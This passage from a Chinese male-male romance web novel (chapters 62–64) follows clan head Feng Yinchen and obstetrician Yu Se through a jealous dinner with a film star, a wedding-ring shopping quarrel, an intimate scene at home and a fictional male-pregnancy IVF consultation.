郁瑟惊讶地张大了嘴巴,楞了几秒钟,转而哈哈大笑起来。 “就跟你讲,我不是本地人,没有怀孕的功能的。” 而且 郁瑟神秘地靠近枫音尘,亲了亲他发烫的耳肉,吐露出一个隐藏许久的秘密。 “比起我来说” “其实,我第一眼看见你的时候,就觉得” 郁瑟用手勾了勾枫音尘的下巴, “觉得什么?”枫音尘被郁瑟这一系列动作弄得有些心痒痒,眼神中闪过一丝期待。 郁瑟微微一笑,故意卖了个关子,“觉得你像其他的枫家人的一样也能生。” 不等他的玩笑彻底扩散开去,已经被微微恼怒的枫音尘堵住嘴巴。 枫音尘的吻热烈而深情,仿佛要将所有的误会和玩笑都融化在这片刻的温存里。 郁瑟起初还想挣扎,但很快就放弃了抵抗,全心全意地投入到这个缠绵悱恻的吻中。 枫音尘预订的地方打来电话,通知枫家主宴会厅已经按照合同要求,完美布置妥当,一切就绪。 枫音尘亲自开了车去接郁瑟,郁瑟正在医院病房查房。 例行公事结束后。 郁瑟问他怎么突然跑来医院,总不会是来查账的吧? 枫音尘则笑说,“这家医院本来就是开来叫你开心的,只要你开心了,挣不挣钱我都很开心。” 郁瑟真想赐他一个夫唱夫随。 路过护士站的时候,几个小护士趁着休息的空档,正在用手机刷剧,还不停地议论着男主演的帅气和演技。 郁瑟和枫音尘经过时,她们的讨论声不自觉地低了下来,偷偷地用余光打量着郁医生身边的艳丽男人,心中暗自猜测他们的关系。 郁瑟只能假装没看到,枫音尘则是故意露出一副宠溺的模样,低头对郁瑟轻声细语,仿佛在说什么甜蜜的话语。 小护士们看得心中一阵羡慕,纷纷感叹这世间的美好爱情为何总是轮不到自己。 走出医院大门,枫音尘为郁瑟打开车门,小心翼翼地护送他上车。 郁瑟坐稳后,对枫音尘眨了眨眼,笑道:“看来因为你,我已经成了医院里的小热门话题了。” 枫音尘笑道,“没事,让她们好好讨论一下郁院长的性取向,最好越来越多的人知道我们的关系才好。” “这样,我就不用担心有人敢来骚扰你了。” 郁瑟耸耸肩,“那你可是多虑了,我这个人一向没什么桃花缘。” “大家似乎只对我的医术感兴趣,对我这个人没什么兴趣。” 第62章 第 62 章 只想爱郁哥哥 枫音尘才不信他。 郁瑟只是整日里忙于工作而已, 一大清早就扎根在手术台,忙得连口水都没时间喝,晚上则在医学研究上勤于钻研, 时常熬到深夜, 灯火通明的办公室里只有他与堆积如山的资料为伴。 枫音尘上辈子在医院住了很久,私底下听多了议论郁瑟的声音,绝大部分都是在夸赞他的人格魅力。 自然, 也有偷偷爱慕着郁瑟的人的存在。 例如枫音尘, 也例如那个未曾谋面的家伙。 两个人对于郁瑟的无尽爱慕与渴望,全部是在暗无天日的医院病房中所完成的。 枫音尘之所以讨厌医院, 是因为在那里度过了太多孤独而漫长的日子, 每一分每一秒都像是被无限拉长,痛苦与绝望如影随形。 医院的白墙和消毒水的味道, 成为他心中永远挥之不去的阴影, 那些冰冷的医疗器械,以及医生们偶尔流露出的无奈与冷漠,都让他感到无比的窒息。 更重要的是, 在那里, 他亲眼目睹了人情的脆弱与无常,每一次与亲人的见面都像是在他心上狠狠地划了无数刀。 所以,医院本身,是他心中最深恶痛绝的地方。 但郁瑟, 是他在阴暗狭小的沟壑里, 唯一升起的月亮。 能健健康康的跟自己的白月光相遇相爱, 是枫音尘做梦也求之不得的。 枫音尘立刻环住郁瑟的腰身,将脸蹭在郁医生的肩膀,眷恋倾注于磁性的嗓音内, “胡说,瑟瑟是这个世界上最好的,最有魅力的男人,暗恋你的人可以排列到世界尽头了。” 只不过。 “他们都比不上我,我是最喜欢你的。” 郁瑟本以为自己对于这类型的甜言蜜语,早已经产生免疫抗体了,孰知还是差某人一大截子。 枫音尘和郁瑟一并前往预定好的会所。 郁瑟坐在车上的时候,因为路程较长,所以打开了车载视频的按钮,枫音尘平常从不坐在主驾驶位上,而司机闲来无事时,就爱在车载视频上胡乱播放一些杂七杂八的电影或者综艺。 所以,郁瑟打开后看到的正好是一部新上映的电影《记忆证词》。 这部电影的宣传力度很大,据说是国内知名导演亲自操刀,斥巨资打造的一部悬疑题材巨制,而作为主演的男一号付博雅,一改蹁跹君子的形象,饰演了一位邋遢且神经质的侦探角色,以其精湛的演技,将角色的复杂情感展现得淋漓尽致。 郁瑟对付博雅这位演员抱有一丝的欣赏之情,付博雅不愧是华国鼎鼎有名的影帝,每一次出演都能给观众带来全新的惊喜。 电影的情节扣人心弦,画面精美绝伦,看着屏幕上的付博雅,让郁瑟不由自主地沉浸其中。 郁瑟径自停止交谈,认真看起影片来。 枫音尘见郁瑟看得目不转睛,控制不住醋醋的,酸了一把嗓子道,“原来,瑟瑟你居然喜欢这种类型的家伙?” 都不理我了,都不理我了!! 郁瑟则是笑了一下,“你怎么知道我是在看付博雅?万一我是在推理剧情呢?你这不算是白吃一场飞醋?” 哼。 枫音尘道,“我这可不是空穴来风,上次路过商业街,我就看你盯着付博雅的广告牌,出神地凝视了十几秒钟。” “哦,是吗?”郁瑟的目光依旧追随在电影跃动的画面上,“或许我当时是在考虑,要不要买付博雅代言的产品。” 哼。 枫音尘没完没了地翻旧账道,“我在你家里洗澡,发现你用的沐浴露都是付博雅代言的牌子,你还说你不是他的粉丝?” 郁瑟说,“我只是觉得那个牌子好用而已,难道用了某个明星代言的产品,就代表我是他的粉丝?你这个强盗逻辑是资本家惯有的吗?” 枫音尘立刻不说话了。 郁瑟则主动过去捏了捏他的耳垂,似乎是想安抚一下这只炸毛的小猫。 “好啦,我没有追星,更不喜欢付博雅,怪只怪他现在太红了,我不想看见他,也被迫总得看见这个人。” 郁瑟还想说,吃醋要从实际出发,这些明星就像挂在屋顶的灯泡,你想伸手去碰触,也需要有人给搭梯子啊。 而且,他也没有那个闲工夫和闲心,去关注娱乐圈的八卦和绯闻,医院的生活已经足够忙碌和充实了,哪里还有时间去追星呢? 想是如此。 直到枫音尘拉着他的手,两人双双走进了预订好的宴会厅之后。 郁瑟这才发现,偌大的宴会厅被布置的格外有气氛,空运来的朱丽叶玫瑰制作而成的玫瑰瀑布从天花板倾泻而下,与璀璨的灯光交相辉映,营造出一种梦幻般的场景。 宴会厅的中央摆放着一张餐桌,桌上摆满了各式各样的美食和精致的餐具,每一个细节都彰显着主办方的用心与品味。 而在火红似海的玫瑰瀑布之前,长身玉立着一位西装革履的优质帅哥,优美颀长的身体曲线彰显出无与伦比的优雅气质,而骨相完美的五官又极度接近黄金比例。 男人微微垂首,仿佛在沉思,出众的颜值和浑身散发的魅力,令人无法忽视他的存在。 居然是郁瑟和枫音尘一路上讨论不休的影帝——付博雅。 郁瑟:“!!!” 不知枫音尘究竟是葫芦里卖的什么药,此刻早已经收敛起浑身的黏糊劲儿,变得远似骄阳,贵不可亲。 郁瑟心说今天真是见了两大奇观。 第一是两大顶级帅哥在面前的颜值碰撞,完全保养了郁瑟因一天工作而劳苦的眼睛。 第二是 亲眼见证了枫音尘在男孩和男人之间切换自如,说句脏话,妈的,确定这姓枫的不是人格分裂? 只见枫音尘此刻正对着新晋影帝付博雅露出得体而疏离的微笑,仿佛之前那个黏在郁瑟身边撒娇卖乖的人不是他一般。 这种迅雷不及掩耳的切换模式,令郁瑟叹为观止,心中暗暗给枫音尘贴上了“演技派”的标签。 不过,话说回来,枫音尘这演技若是放在娱乐圈,怕是没几个人能及得上。 郁瑟在心里默默腹诽,却也不得不承认,枫音尘确实有资本骄傲。 因为公主漂亮。 付博雅今天的行程里有五个小时的时间,是被安排来跟恒基的董事用餐的。 这顿饭局,看似简单,实则暗潮汹涌,付博雅作为三连庄影帝,人气正盛,而恒基董事则是资本大佬,操控无数资源。 两人的用餐,无疑是娱乐圈与商业圈的一次重要交集。 付博雅不由多看了枫音尘一眼,除了震惊、惊艳、难以言表之外,更多的是对这个雌雄莫辨的美貌年轻家主的好奇。 还有郁瑟。 枫音尘全程拉着郁医生的手,看起来风轻云淡,实际上小心翼翼。 足见郁瑟的身份特殊。 果不其然。 枫音尘走过来,第一句话就是,“我不是付影帝的粉丝,我的爱人郁医生也不是。” 原本尴尬的话题,斗转星移之间,枫音尘随后补充道,“所以付影帝今天可以与我们尽情玩笑,不用拘束。” 一句话巧妙极了,将彼此陌生的气氛瞬间化解殆尽。 付博雅闻言,笑而应答。 实际上郁瑟的手暗中捏了枫音尘好几次,示意你怎么瞒得我这样紧? 付博雅可是公认的国民老公,国宝级的公众人物,粉丝遍布各个年龄层,上至八十岁老奶奶,下至三岁小女孩,无不为他的颜值和演技所倾倒。 今日能与他同桌而食,郁瑟心中也不免有些激动,尽管他一向自诩为冷静理智的医生,但面对这样的偶像级人物,谁能真正做到心如止水呢? 枫音尘见状,趁付博雅向侍从示意不能饮酒的机会,揉了一把郁瑟的腰肉,压低声音讲,“你再看他看到脸红,我就要全网封杀他了。” 郁瑟知道他是嘴巴毒,不由举起手中的酒杯,轻笑着讨饶说,“我是认真地在比较你们两人,结果发现,还是你最漂亮。” 枫音尘淡淡得意,“最好是这样子。” 两人间的互动充满了热恋情侣间的甜蜜与默契,完全融不进其他人的存在。 付博雅表面上维持着风度翩翩的笑容,但内里很难不产生某种异样的情绪。 不过他演戏演得惟妙惟肖,善于隐藏任何情绪。 枫音尘原本是打算在这个宴会厅内给郁瑟一个惊喜,再跟白月光求婚的。 临时改变了主意,把付博雅强行拉进来活跃气氛。 至于求婚的时机,枫音尘选择了另一个更好的契机。 恒基作为龙城最大的交控集团,业务遍布各个领域,从交通运输到海外港口开发,无一不彰显其强大的实力与影响力。 恒基旗下的交通网络四通八达,不仅极大地方便了市民的出行,也成为了龙城经济发展的重要支柱。 恒基想要从娱乐圈里挑一个代言人,这个消息在圈内不胫而走,引起了无数明星的觊觎。 毕竟,恒基的影响力摆在那里,成为他们的代言人,无疑意味着资源和曝光度的双重提升。 各大经纪公司也开始蠢蠢欲动,纷纷推荐自己旗下的艺人,希望能够抓住这个千载难逢的机会。 枫音尘将这个千载难遇的机会直接递给了付博雅,这是傅影帝从未有过的待遇,也是对他实力与潜力的极大肯定。 枫音尘道,“傅影帝代言的品牌无一不是国民级的大品牌,就连我爱人的家里,也总是能看见你的潇洒身影。” 郁瑟唯恐他要提沐浴露的事情。 直接将手按在枫音尘的大腿上。 又被枫音尘死死压住,完全抽不开手。 枫音尘道,“恒基很需要像傅影帝这样气质正派、形象健康的代言人。而且,我相信傅影帝的加入,会让我们的合作更加圆满,也能为恒基带来更多的正面影响力。” 郁瑟抽了抽手指。 枫音尘表面一本正经地谈生意,私底下把老婆的手指每一根都仔细得欺负了一番。 郁瑟的脸颊渐渐染上了红晕,却也不好发作,只能瞪了枫音尘一眼,示意他收敛一些。 枫音尘嘴角勾起一抹得逞的笑意,但眼神中仍保持着与付博雅交谈时的专注与认真。 注意力仿佛永远都停留在生意上。 “付影帝,对于这次合作,你有什么想法或者建议?”枫音尘的话语中带着几分诚挚与期待,完全看不出刚才的小插曲。 付博雅看着枫音尘与郁瑟之间的小互动,认真考虑了片刻,然后缓缓开口,提出了自己对合作的一些看法和展望。 整个谈话过程气氛融洽,双方都展现出了极高的专业素养和对合作的重视。 最后,因为付博雅还有拍摄的档期,所以提前离开。 郁瑟在这次的接触中,发现这个人还挺有独到见解的,尤其针对恒基的企业文化领域,也是做足了功课才来见枫音尘的。 这让郁瑟对他刮目相看。 结果枫音尘直接将他的脸拨过来,狠狠地在嘴上亲了几口。 还醋醋地说,“有些人只是隐藏的深,其实内里很渣的。” “不像我,我一心一意只想爱郁哥哥。” 第63章 第 63 章 半截樱桃 只爱郁哥哥?! 郁瑟听得头皮发凉, 背脊发冷,不过回味进了心窝子,嗓子眼里又多了些甜丝丝的痒意。 大约男人都是喜欢听这种表示亲昵和崇拜的称呼, 极大得满足男性的自尊心。 郁瑟自然也不能免俗, 他微微侧首,目光在沈枫音尘的脸上停留了一瞬,眉眼弯弯地地勾了勾唇:“枫家主这声哥哥, 倒是叫得挺好听。” “如果不胡乱吃醋的话, 就是一个完美无缺的伴侣了。” “我吗?” 郁瑟以为他在说吃醋的话题,结果枫音尘直接抱住郁瑟, 不停地甜蜜道, “在郁哥哥心里,我们是一对儿很好的情侣吧?对吧?是吧?嗯?” 郁瑟感觉自己似乎不该叫他更加得意的, 真是往烈火里倒了一壶的热油, 愈发火势汹涌了。 枫音尘这股子凶悍的火势,一直烧到了两人回家。 进了家门,枫音尘还不肯放过郁瑟, 将他抵在墙上, 眼神里蕴含的炽热,仿佛要将人燃烧殆尽。 郁瑟被他看得尤其不自在,想要挣脱对方的束缚,却被枫音尘抱得更紧。 “枫音尘, 你……”郁瑟刚开口, 就被枫音尘用唇舌封住了嘴。 这个吻热烈而缠绵, 带着枫音尘特有的纠缠和深情,让郁瑟瞬间沉溺其中,忘记了挣扎。 许久, 两人才缓缓分开,彼此的气息都有些紊乱。 “郁哥哥,你知道吗,我一心想成为你的伴侣,成为你的唯一。” “我以为,你愿意承认我的身份,大概还需要很长的时间。” “我真的太开心了。” 枫音尘在郁瑟耳边低语,声音里满是低沉的占有欲。 郁瑟看着他,眼中闪过一丝无奈和宠溺:“知道了,你的,都是你的。” 伴侣。 其实郁瑟并非随口一说的,在他这个感情基础为零的初级选手看来,两人在一起的时候,就已经互相承认了彼此的伴侣身份。 谁想,只是随口承认了一下而已,枫音尘的反应居然如此大的吗? 枫音尘确实反应够大的。 郁瑟洗完澡后,准备打开笔记本电脑写一会儿论文,却发现枫音尘已经坐在了床边,眼神紧紧地盯着他,仿佛要看穿他的灵魂。 最主要的是,枫音尘穿得不是平常的浴袍,而是一件凸显身材优势的白色睡衣,睡衣的领口微微敞开,露出精致的锁骨和若隐若现的胸肌,配上他那张妖孽般的脸庞,让人忍不住想要靠近。 “怎么了?”郁瑟被他看得有些发毛,明知故问道。 枫音尘突然伸手,将他手中的笔记本电脑夺了过去,然后一把将他拉入怀中,紧紧地抱住。 “郁哥哥,我和工作谁看起来更漂亮?更叫你喜欢?” 郁瑟心里了然,但是现在是周三,不是周六啊,无奈地笑了笑,伸手轻轻拍了拍他的背:“好好好,你最美,你先让我把工作处理完,好不好?” 枫音尘闻言,将笔记本电脑还给了郁瑟,但手却依然紧紧地抱着他,不肯松开。 “行呀,不过你要坐在我的腿上,我才让你工作。” 坐在腿上工作?能工作进去才有诡好吗? 不过,郁瑟突然滋生出一丝丝的玩味,倒是挺想看看姓枫的叫哥哥叫不停之后,究竟还能产生什么新的花样。 郁瑟微微挑眉,眼底闪过一抹星光,顺从地坐在了枫音尘的腿上。 枫音尘见状,眼中闪过一丝狡黠的光芒,他紧紧地拥着郁瑟,下巴抵在他的头顶,轻声说道:“那郁哥哥要好好工作,不要在意我的存在哦。” 郁瑟瞧他玩上瘾了,轻笑一声,手指在键盘上跳跃,开始专注地敲打着论文。 然而,枫音尘却似乎并不满足于这样简单的拥抱,他开始用鼻子蹭着郁瑟的脖颈,呼吸也变得炽热起来。 郁瑟的身体微微颤抖了一下,他努力保持着镇定,试图忽略枫音尘的挑逗。 然而,枫音尘却似乎并不打算放过他,他开始用嘴唇轻轻咬着郁瑟的耳垂,声音低沉而诱人:“郁哥哥,你确定要这样继续工作下去?” “这种程度也不算什么。”郁瑟勉强稳住精神,双手如同十根铁杵,稳扎稳打地敲击在键盘键之间。 枫音尘轻哼了一声,俨然不信邪似的,从一旁的水果盘里捏出来一颗大樱桃,用嘴唇叼着,故意凑在郁瑟的脖颈侧。 上下的齿门轻轻一咬,立刻从樱桃果中喷出一股甘甜的汁水,沿着郁瑟的肌肤缓缓滑落。 “呀,喷汁了,把郁哥哥的脖子弄得脏脏的。”说着,伸出舌尖去舔舐那几滴绯红的果汁。 郁瑟的身体瞬间绷紧,猛地转过头,目光中带着几分警告地看向枫音尘。 然而,枫音尘却似乎完全不在意他的反应,伸出的舌尖红艳艳的,沾了樱桃汁之后,愈发散发出妖异的色彩。 “郁哥哥,尝尝看,可甜了。”他的声音低沉而充满磁性,伸着舌尖,带着一种难以抗拒的魅惑。 郁瑟的喉头立刻产生出强烈的干渴,努力压抑住滚动的情潮,言道,“要吃樱桃就好好吃。” “又说,谢谢,我不吃。” 转头继续工作时,枫音尘的嘴又凑过来,像是不服输的样子,将咬开的樱桃丢进郁瑟的睡衣之内。 半颗樱桃果立刻沿着背脊线,坠进了腰际,在枫音尘的推送之下,又掉进了睡裤的深处。 “啊呀,抱歉,我来帮你拿。” 说着帮忙的人,完全没有认真地去找那半截樱桃果,而是将手塞进了睡衣之下,捏了捏郁瑟的心口。 “是在这里吗?” 郁瑟假装了半天的正经,已经绷不住地笑了起来,“你觉得呢?” 枫音尘捏了捏,指尖不停地描画着圆润的圈。 “好像不是这里。”他用另一只手,搬正郁瑟的面颊,好心提示道,“哥哥快工作,工作完了,我们一起睡觉。” 这样子,该怎么工作呢? 郁瑟鼓了鼓腮帮子,竭力忍住嘴角险些溢出的声音,双手微微往前撑住桌面,用前倾的身体姿势来保证还能继续工作。 枫音尘沿着他的腹肌线,寻找了过去。 郁瑟专注的眼神开始凌乱,注意力彻底被一阵阵的手法搅乱,直到枫音尘找到了半截樱桃。 缓缓地推了进去。 郁瑟呐呐道,“不要,这个可不好玩。” 枫音尘从后面抱住他,呼吸仿佛耳畔刮起的狂风,呼呼呼得扯得郁瑟在这风中彻底变得凌乱起来。 “坐下来,郁哥哥,你坐下来,我给你拿。” 郁瑟只能将双手从键盘移开,转而抓住电脑的屏幕两侧,指尖轻颤颤得发出白光,看起来十分无助。 然而,从电脑屏幕的倒影中,能隐约看出他自己的脸已经涨得像那半截樱桃色。 而枫音尘,则将漂亮的下颌骨搭在郁瑟的肩侧,对着电脑屏幕间乱放媚眼。 郁瑟坐好。 枫音尘道,“哥哥好怪,刚才说要工作,怎么突然抱着电脑,这样还怎么写论文呢?” 说着,枫音尘帮他把双手从电脑边缘扯下来,放在嘴边吻了吻指尖,又捏着郁瑟不停退缩的手腕,笔直地撑在键盘之间。 “来,我帮你写啊哥哥。” 枫音尘开始胡乱地动,使得郁瑟的手指在键盘间变得凌乱极了,一阵子敲出来不少乱码。 郁瑟道,“不要乱动,不要胡乱输入,都都出乱码了。” 枫音尘才不听,谁叫某人看到自己,还敢拿出笔记本电脑要工作。 枫音尘来回摆动座椅,姿态嚣张极了,可是嘴里的话软软浓浓的,“郁哥哥是觉得我做得不够好吗?那我再多帮你写一点,好不好?” 说着。 郁瑟的双手开始在键盘键上胡乱地拍打,实际上是枫音尘的手紧紧攥着他的手腕,叫他既像抓住电脑,又像摸不到岸边的溺水者,只有十根手指不停地拍打,划拨,拍打,又划拨。 直到整个WPS上写满了奇奇怪怪的文字,如同记录一次荒诞的梦境。 郁瑟最终放弃了,直接将热汗淋漓的面颊贴在键盘间,像一条放弃游泳的鱼,大口地换气. 枫音尘最近春风得意,除了最亲近的三个侄子之外,连跟他有私下往来的人,也都清晰的感受到了。 大家倒是没有往谈恋爱之类的方向思考,多数觉得他又是干了什么缺德事,从某个倒霉的家伙身上掏了不少好处。 可能是因为人逢喜事精神爽,枫音尘在龙城一向属于藏风匿水的行踪,忽然鲜明起来。 尤其跟影帝付博雅签约之后,恒基的股价隐隐有了上涨的趋势。 媒体和投机者们开始频繁地蹲守在枫音尘可能出现的地方,希望能捕捉到这位神秘大佬的一丝风采。 枫音尘对此不以为意,他马上要跟郁瑟结婚了。 当然,是他想当然的结婚计划。 枫音尘需要举办一场全城闻名的旷世婚礼,提前在龙城制造些热度,为他造势,同时也让所有人都知道,郁瑟是他放在心尖尖的人。 枫音尘几乎每隔一段时间,都会到珠宝公司一趟。 许多大亨会在珠宝公司预订新的宝石,或者定制独一无二的昂贵饰品,以此彰显自己的身份与品味。 枫音尘频繁光顾的目的,显然不仅仅是为了这些,他对珠宝公司的每一件展品都表现出了浓厚的兴趣,尤其是那些设计独特、寓意美好的婚戒。 就在前一段时间,他便从这家公司一口气购买了一百多枚戒指,希望郁瑟能从中挑选出最喜欢的一枚。 不过当时被杜景恒一家子给搞坏气氛了,所以这一百枚戒指全部作废。 枫音尘可不会给郁瑟送见过的廉价品。 他要的是独一无二。 因为这一百枚戒指的销售,也叫枫音尘的名字在龙城豪门圈里响彻云霄。 所以大家有了不成文的共识,要想跟枫音尘来一场偶遇的话,只要到珠宝公司守株待兔就好。 枫音尘人尚未到,珠宝公司的整座楼层已经开始轰动起来了。 员工们纷纷议论,猜测这次枫家主的到来又会带来怎样的惊喜。 有的说是为了预订一颗稀世宝石,有的则认为是来查看新到的设计图稿,更有甚者,猜测他是否又要为神秘爱人挑选新的婚戒。 枫音尘进楼的时候,偶遇了平常不怎么见到的几个豪门太太,还有时尚界的名媛和娱乐圈的几个小鲜肉。 大家不约而同觉得能跟枫音尘说句话。 实际上,枫音尘戴着墨镜谁也不理,带着十几个保镖招摇过市,连一丝眼神都分不给这些杂鸟。 珠宝公司的总经理已经汗流浃背,指挥着上百个员工,早早将盛放婚戒的托盘捧在手心,等待着枫音尘的亲临。 枫音尘上次来就耗费时间挑选了将近五个小时。 这次估计也是这个时间,所以给他准备了酥点,以及高级饮品。 枫音尘确实耗费了很大的心神,最终挑选了十款宝石戒指。 其中一款最为合心意的祖母绿宝石戒指。 主要是自己的眸色是同款的,枫音尘希望郁瑟时时刻刻都不与自己分离。 正当枫音尘要选这一款时,一个属下慌慌张张跑了过来,凑到总经理的耳侧小声解释。 当即吓得总经理面如土色,不禁走过来抱歉道,“枫家主,实在不好意思啊,这枚戒指是柳公子提前预订的,刚才被员工误拿来了,真是抱歉啊!” 枫音尘险些碰触到那枚戒指,现在只觉得晦气,面色不悦地想说些什么。 哪知柳夫人带着爱子柳明轩恰好出现,两人正是来取戒指的,没想到会出现这种乌龙事。 柳夫人对枫音尘并无什么特殊的好感,只是儿子柳明轩大概是对枫音尘一见钟情了,在家里时时刻刻念叨。 茶饭不思的,总想再来见一下枫音尘的面。 于是笑着说,“大水冲了龙王庙,谁想到会产生这种误会。” “明轩啊,看来你的眼光真好,没想到枫家主居然也看到一处去了。” 柳明轩不好意思地看着心心念念的男人,抬眼看向枫音尘的目光,爱慕之情难以遮掩。 小声说,“其实这个戒指可以转让给枫家主的,只要枫家主喜欢。” 枫音尘闻言,嘴角勾起一抹淡笑,眼神中却无半分波动。 他轻轻摆了摆手,语气轻嘲:“不必了,我挑选的是结婚戒指,对二手的东西不感兴趣。” 柳明轩一下子小脸变得刷白,比抽了他的筋还痛苦难受。 柳夫人立刻不高兴了,细眉高挑,道:“枫家主这话就说得不对了,什么叫做二手的东西?这戒指明明是我儿先看上的,被你误拿了去,如今我儿大度愿意成人之美,你反倒说这种话来伤人,也太过分了些。” 枫音尘完全不改态度,淡淡说,“你这儿子都有问题,他看上的东西能是上台面的东西?” 你这个鸠占鹊巢的假儿子。 第64章 第 64 章 你想怎么生? 贵妇人们茶余饭后, 除了交流最新的时尚资讯,还会谈论着各自家中的琐事与趣闻。 谈人八卦也算是一种约定俗成的乐趣,而作为八卦的中心人物, 枫音尘时常被冠以“黑曼巴”的称号。 无论是他毒死人不偿命的口才, 目中无人的态度,以及肩膀上攀附的小黑蛇,全部传递给外界一种信息。 ——这个人不容小觑, 是个辣嘴摧命的狠心角色。 甚至有人打趣编排, 眼镜王蛇跟枫音尘互咬一口,究竟谁先死的地狱笑话。 柳夫人原本想替儿子争辩两嘴的, 大概后来想起贵妇圈的种种流言, 本能选择自保地闭了嘴,拉着儿子转身就走。 柳明轩的爱慕之心尚在萌芽阶段, 哪知喜欢的人居然要结婚了, 等于用镰刀齐刷刷地割断了他心中刚刚萌发的幼芽,变得泫而欲泣。 柳夫人尤其心疼这儿子,不禁宽慰道, “别难过, 轩轩,过几天就是你的生辰,到时候叫你爸爸将龙城优秀的未婚男士全部邀请来,不管挑哪一个, 还不是比枫疯子更好?” 话是如此。 柳家少爷从小到大也不是没见过好的, 帅的。 “但是像枫家主这么漂亮到完美无缺的, 这世上已经难求了啊!”柳明轩不死心地表示了。 虽然心里明白妈妈是为了让自己好受些才这么说的,可柳明轩就是放不下。 他见过的青年才俊确实不少,但枫音尘那种独特的气质和容颜, 就像是上天精心雕琢的艺术品,让人一眼难忘。 “妈,我真的很喜欢他。”柳明轩的声音带着一丝哽咽。 如果能把枫音尘给弄过来,他的小后宫里,二十种风姿绰约的佳丽就算凑齐了呀~ 柳夫人并不知道儿子的小心思,一心以为这个孩子如同表面一般纯洁善良,愈发得讨厌起枫音尘来。 王齐将许久不见的沈宏引到院长办公室内,年轻舞蹈家说了一声谢谢,推门进去。 郁瑟正坐在办公桌后,翻阅着一份份文件,眉头紧锁,似乎遇到了什么棘手的事情。 见到沈宏进来,他轻轻抬了抬眼,嘴角勾起一抹淡笑,“沈先生?真是好久不见。” 沈宏的笑容十分明媚,眉眼属于古典美的类型,“确实好久不见,毕竟我答应给你留一点考虑的时间,自然不敢追得太紧了。” 沈宏依照当初的约定,给了郁瑟一周时间考虑,他的丈夫一直处于植物人状态已经两年有余了。 这期间,慕家一直没有闲着,四处奔波寻找能够唤醒植物人的方法,甚至不惜重金聘请了国际知名的医学专家进行咨询和治疗。 沈宏跟这个植物人丈夫不过是利益联姻,若是植物人丈夫一直处于昏迷状态,自然有一定的好处。 可是,这植物人也并非毫无希望,尤其最近在国外医疗团队的努力下,有了一些新的进展。 据说先下有一种新型疗法,通过刺激大脑神经,有可能让植物人恢复意识。 虽然这种方法还在尝试阶段,成功率也不算高,但总比没有希望要好。 沈宏心里清楚,一旦植物人丈夫醒来,他现在的安逸日子恐怕就到头了。 所以,他才这么急切地想要郁瑟给他一个明确的答复,到底是继续维持现状,还是冒险一试。 郁瑟放下手中的笔,身体微微后仰,目光在沈宏身上停留了几秒,“沈先生的问题,我确实有在认真思考,目前最大的障碍是在道德层面的。” 沈宏立刻张口解释,“这一点,我也提前预想过了医生您的担忧,不过现在可以放心了。” 在郁瑟考虑的这一周时间内,沈宏想办法取得了慕家的支持,慕酌月的母亲已经做出了支持的态度。 毕竟,一个替植物人儿子找老婆的父母,大抵上是不会抗拒给植物人儿子延续香火的。 大家族的人,比一般普通老百姓家里的,更加看重子嗣的绵延。 郁瑟似乎还想询问些什么。 沈宏神情变得认真起来,“其实,我老公的性.功能目前并没有什么问题,每天早晨可以正常的晨勃。” 郁瑟:“我倒是经常看医学杂志,知道植物人的病因由个体差异决定,有的植物人是因为大脑皮层受到了严重的损伤,导致无法控制身体的运动和感觉,但性.功能并未完全丧失。而有的植物人,则是由于脑干或者脊髓受到了损伤,这种情况下,性.功能可能会受到更大的影响。” 沈宏顿了一顿,继续说道:“不过,我老公的情况比较特殊,他的大脑皮层虽然受到了损伤,但脑干和脊髓并未受到太大的影响,这也是他能够保持晨.勃的原因。” 郁瑟点了点头,表示理解。 见他沉思了片刻,沈宏继续说道:“即使如此,我和我的丈夫倒是从来没有做过爱。” “一来是我对他的感情还没有那么深,二来,我是一个舞者,尤其还是一个男性,像那些结婚的女舞者一样,假如怀孕的话,对事业肯定会产生影响。” 郁瑟算是理清楚了前因后果,慢悠悠地转动了手中的钢笔。 “首先,还是需要谢谢沈先生的如实相告。” 沈宏这个人很坦荡,起码在关键的问题上,并没有隐瞒郁瑟的意思。 不过,该提醒的还是要提醒到位。 郁瑟道,“其次,关于你丈夫的情况,我理解你的担忧和顾虑。作为医生,我必须提醒你,虽然植物人的性.功能可能并未完全丧失,但他们的身体状态毕竟非常特殊,任何形式的性.活动都可能带来潜在的风险。” 沈宏闻言,想了想,忽然笑了起来道,“郁医生的意思,难道是说,觉得我会通过正常的做.爱姿势,来促使自己受孕吗?” “自然不可能了。” 沈宏笑得花枝乱颤,其实他的身段和气质都很好,连笑声也如同银铃一般悦耳。 “我准备做试管婴儿的,而且也是从国外找的专业团队。” “郁医生你只要帮助我在怀孕的过程中,确保我的身体状况良好,同时给予我一些专业的指导和建议就足够了。毕竟,试管婴儿的成功率也不是百分之百,我希望在这个过程中,能有专业的医疗人员为我保驾护航。” 郁瑟终于了然,心底的顾虑也算缓解不少。沈宏伸出手,一把握住了郁瑟的双手,态度颇为柔和诚恳,“尤其我的男性身份,怀孕的过程恐怕更加需要小心翼翼,郁医生,你是目前这个领域里最专业的,我不得不来拜托你。” 郁瑟也不再拖沓,立刻做出反应道,“好吧,既然沈先生已经做足了完全的准备,我也不好拖你的后腿。” 起身做了一个请的动作,“既然来了,择日不如撞日,沈先生可以办理暂时的住院手续,我会在这几天内尽快替你做一整套的身体检查,确定沈先生的身体确实适合孕育生命。” 沈宏如愿立刻笑颜如花,双手再次握住郁瑟的手,紧紧地摇晃着,眼中闪烁着激动与感激的光芒,“真是太感谢郁医生了!你真是我的救星,我一定会全力配合你的检查,希望能尽快迎来好消息。” 言罢,沈宏像是突然想起了什么,插嘴问了一下,“我感觉郁医生对植物人方面的知识储备相当丰富且专业,被推荐来找你果真没有错。” “不不不,”郁瑟笑着摇头,“术业有专攻,我现在是产科大夫,肯定只钻研产科方面的医学知识。” 郁瑟想了想,觉得似乎也没有什么可以隐瞒的地方,毕竟他已经重生在书中世界了。 他道,“我在做产科医生之前,其实一直是神经外科的大夫。” 看着沈宏极度惊讶的表情,郁瑟不禁自嘲笑笑。 其实,假如那个病人的手术没有失败的话,他应该会一直活跃于神经外科领域,成为那个领域最顶尖的医者之一。 但命运弄人,那场手术的失败不仅让他失去了信心,也让他的职业生涯蒙上了一层阴影。 从那以后,他转行了,选择了产科这个与神经外科截然不同的领域,希望能在这里找到新的自我价值和生命的意义。 最主要的是。 比起死亡风险极高的神经外科手术,产科相对来说要平和许多,每一次迎接新生命的到来,都能给他带来巨大的满足感和成就感。 尽管偶尔还是会想起那段失败的手术经历,但现在的他已经能够坦然面对,将那段经历化作前进的动力。 每一个生命都是宝贵的,而作为一名产科医生,他有责任和义务去守护这些新生命的到来。 